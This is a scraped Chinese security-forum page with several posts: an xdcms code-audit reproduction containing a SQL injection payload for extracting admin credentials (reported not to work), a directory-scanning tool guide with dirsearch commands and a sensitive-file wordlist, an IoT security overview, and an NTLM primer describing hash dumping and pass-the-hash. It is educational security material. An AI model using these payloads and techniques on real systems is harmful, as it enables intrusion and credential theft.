赛克艾威漏洞预警(3月21-3月27号)

漏洞预警ypk 发表了文章 • 0 个评论 • 148 次浏览 • 2020-03-27 16:10 • 来自相关话题

xdcms 代码审计 (一丢丢)

PHPjizi_smile 发表了文章 • 0 个评论 • 223 次浏览 • 2020-03-23 01:25 • 来自相关话题

本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下







因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username password 并且password 直接md5 两次加密了 ,只剩username了。 $username=safe_html($_POST['username']);找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+注入结果是这样的







 
但是我试了一下不行报错是这样的






看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 






还是不行   





 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}空格,单双引号,尖括号,大括号 双斜线 都被换为空 所以感觉应该不太好xss复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]  原因是数据库版本过低以上只是对文章的简单复现
------------------------------------------------------------------------------------
完。 查看全部
本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下


2.PNG


因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下
public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}
register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username  password  并且password 直接md5 两次加密了 ,只剩username了。
 
$username=safe_html($_POST['username']);
找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:
username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
注入结果是这样的


3.PNG


 
但是我试了一下不行报错是这样的

4.PNG


看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 

5.PNG


还是不行   

6.PNG

 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
空格,单双引号,尖括号,大括号 双斜线 都被换为空  所以感觉应该不太好xss
复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错
[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]   原因是数据库版本过低
以上只是对文章的简单复现 
------------------------------------------------------------------------------------
完。

web信息收集之目录扫描

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 826 次浏览 • 2020-03-22 22:03 • 来自相关话题

0X01  简述: 目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。
0X02  7kbscan: 个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。


下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03  sensinfor: 它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:


2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。







 
0X03  dirsearch: 这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。




       1、对config模块的介绍:








        2、简单的配置:








      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:




           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
  查看全部
0X01  简述:
    目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。

0X02  7kbscan:
    个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
1.png
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。

0X03  sensinfor:
    它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。
使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2.png
  2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
3.png

4.png

 
0X03  dirsearch:
    这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:

 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
5.png

       1、对config模块的介绍:
6.png

7.png

        2、简单的配置:
8.png

9.png

      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:
10.png

           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:
参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar

 

浅谈物联网安全

安全资讯你可以叫我风平 发表了文章 • 0 个评论 • 243 次浏览 • 2020-03-20 15:38 • 来自相关话题

一、了解物联网
物联网安全在信息安全中的位置(侧重于网络安全方向)





 
IoT逐渐演化成为一种融合了传统网络、传感器、Ad Hoc无线网络、普适计算和云计算等信息与通信技术(Information and Communications Technology, ICT)的完整的信息产业链。

物联网是通过使用射频识别(Radio Frequency Identification,RFID)、传感器、红外感应器、全球定位系统、激光扫描器等信息采集设备,按约定的协议,把任何物品与互联网连接起来,进行信息交换和通讯,以实现智能化识别、定位、跟踪、监控和管理的一种网络。全方向)





 





 





 
物联网安全现状:
物联网市场发展迅速,终端数量剧增,安全隐患大,物联网产业链中安全环节占比低。物联网业务深入多个行业,全方位影响人民生活,相应的 安全问题也将带来严重威胁,甚至包括生命和财产安全
二、了解物联网安全
物联网安全指物联网硬件、软件及其系统中的数据收到保护,不受偶然的或者恶意的原因遭到破坏、更改、泄露,物联网系统可连续可靠正常地运行,物联网服务不中断。
物联网安全包括一切解决或缓解物联网网络技术应用过程中存在的安全威胁的技术手段或管理手段,也包括这些安全威胁本身及相关的活动。物联网安全威胁和物联网安全技术是网络安全含义最基本的表现。
物联网安全主要内容包括:
1.数据的安全
2.网络的安全
3.节点的安全
 
物联网安全属性:
基本属性:机密性、完整性、可用性,是处于计算机安全核心地位的三个关键目标,即CIA三元组,具体体现了对数据和信息的基本安全目标与计算服务。
机密性包括两个概念:
数据机密性:确保隐私或机密信息不能由非授权个人利用,或不能披露给非授权个人。
隐私性:确保个人能够控制个人信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露。

数据完整性:确保信息和程序只能在指定的或授权的方式下才能够改变。
系统完整性:确保系统在未受损的方式下执行预期的功能,避免对系统进行有意或无意的非授权操作。

可用性:确保系统能够迅速地进行工作,并且不能拒绝对授权用户的服务。
延伸属性:可认证性、可控性、不可抵赖性和不可否认性
可认证性:包括对等实体认证和数据源认证。
      对等实体认证:为连接中的对等实体提供身份确认。
      对等实体:当两个实体在不同系统中实现相同协议时,就说这两个实体是对等的。对等实体主要指用户应用实体。
      对等实体认证是指网络通信必须保证双方或多方间身份,对等实体身份的相互确认,这是网络间有效通信的前提。
      对等实体认证用在连接的建立阶段或者数据传输阶段。它视图提供以下保证:该实体没有进行假冒或对前面的连接进行非授权重放

数据的可核查性
是指用户不能抵赖自己曾做出的行为,也不能否认曾经接到对方的信息。
过程中主要面临如下威胁:
截获--攻击者从网络上窃听他人的通信内容
中断--攻击者有意中断他人在网络上的通信
篡改--攻击者故意篡改网络上传送的报文,使用户无法获得准确、有用的信息或落入攻击者的陷阱
伪造--攻击者伪造的信息在网络中传送





 
安全威胁的特性: 
必然性:信息系统的复杂性、开发性及人的因素都不可避免,因此网络安全威胁必然存在;
相对性:保证网络安全服务的质量需要付出资源及资金的代价,而且是成正比; 
配角特性:安全不是目标,得到安全可靠的服务和应用才是最终目标; 
动态特性:技术的发展及环境的变化,新的安全威胁会不断出现。





 
具体应用的安全:智能电网安全、M2M安全、EPCglobal安全、6LoWPAN安全、基于无线体域网的远程医疗安全等等
  查看全部
一、了解物联网
物联网安全在信息安全中的位置(侧重于网络安全方向)

1.png

 
IoT逐渐演化成为一种融合了传统网络、传感器、Ad Hoc无线网络、普适计算和云计算等信息与通信技术(Information and Communications Technology, ICT)的完整的信息产业链。

物联网是通过使用射频识别(Radio Frequency Identification,RFID)、传感器、红外感应器、全球定位系统、激光扫描器等信息采集设备,按约定的协议,把任何物品与互联网连接起来,进行信息交换和通讯,以实现智能化识别、定位、跟踪、监控和管理的一种网络。全方向)


2.png

 

3.png

 

4.png

 
物联网安全现状:
物联网市场发展迅速,终端数量剧增,安全隐患大,物联网产业链中安全环节占比低。物联网业务深入多个行业,全方位影响人民生活,相应的 安全问题也将带来严重威胁,甚至包括生命和财产安全

二、了解物联网安全
物联网安全指物联网硬件、软件及其系统中的数据收到保护,不受偶然的或者恶意的原因遭到破坏、更改、泄露,物联网系统可连续可靠正常地运行,物联网服务不中断。
物联网安全包括一切解决或缓解物联网网络技术应用过程中存在的安全威胁的技术手段或管理手段,也包括这些安全威胁本身及相关的活动。物联网安全威胁和物联网安全技术是网络安全含义最基本的表现。
物联网安全主要内容包括:
1.数据的安全
2.网络的安全
3.节点的安全

 
物联网安全属性:
基本属性:机密性、完整性、可用性,是处于计算机安全核心地位的三个关键目标,即CIA三元组,具体体现了对数据和信息的基本安全目标与计算服务。
机密性包括两个概念:
数据机密性:确保隐私或机密信息不能由非授权个人利用,或不能披露给非授权个人。
隐私性:确保个人能够控制个人信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露


数据完整性:确保信息和程序只能在指定的或授权的方式下才能够改变。
系统完整性:确保系统在未受损的方式下执行预期的功能,避免对系统进行有意或无意的非授权操作。


可用性:确保系统能够迅速地进行工作,并且不能拒绝对授权用户的服务。
延伸属性:可认证性、可控性、不可抵赖性和不可否认性
可认证性:包括对等实体认证和数据源认证。
      对等实体认证:为连接中的对等实体提供身份确认。
      对等实体:当两个实体在不同系统中实现相同协议时,就说这两个实体是对等的。对等实体主要指用户应用实体。
      对等实体认证是指网络通信必须保证双方或多方间身份,对等实体身份的相互确认,这是网络间有效通信的前提。
      对等实体认证用在连接的建立阶段或者数据传输阶段。它视图提供以下保证:该实体没有进行假冒或对前面的连接进行非授权重放


数据的可核查性
是指用户不能抵赖自己曾做出的行为,也不能否认曾经接到对方的信息。
过程中主要面临如下威胁:
截获--攻击者从网络上窃听他人的通信内容
中断--攻击者有意中断他人在网络上的通信
篡改--攻击者故意篡改网络上传送的报文,使用户无法获得准确、有用的信息或落入攻击者的陷阱
伪造--攻击者伪造的信息在网络中传送


5.png

 
安全威胁的特性: 
必然性:信息系统的复杂性、开发性及人的因素都不可避免,因此网络安全威胁必然存在;
相对性:保证网络安全服务的质量需要付出资源及资金的代价,而且是成正比; 
配角特性:安全不是目标,得到安全可靠的服务和应用才是最终目标; 
动态特性:技术的发展及环境的变化,新的安全威胁会不断出现。

6.png

 
具体应用的安全:智能电网安全、M2M安全、EPCglobal安全、6LoWPAN安全、基于无线体域网的远程医疗安全等等
 

【内网渗透】NTLM协议简介

渗透测试wuyou 发表了文章 • 0 个评论 • 480 次浏览 • 2020-03-19 20:01 • 来自相关话题

前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议




 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:



Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密




若解密不成功,则可以直接进行PTH(Pass The Hash)攻击



 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:




也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文2个8字节的密文连成1个16字节的密文,称为LM Hash




 
LM Hash问题:
密码不区分大小写密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值DES算法强度不够
 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
将明文口令转换成十六进制的格式把十六进制转换成Unicode格式,每个字节之后添加0x00再对Unicode字符串作MD4加密,生成32位的十六进制数字串
 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前
  查看全部
前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
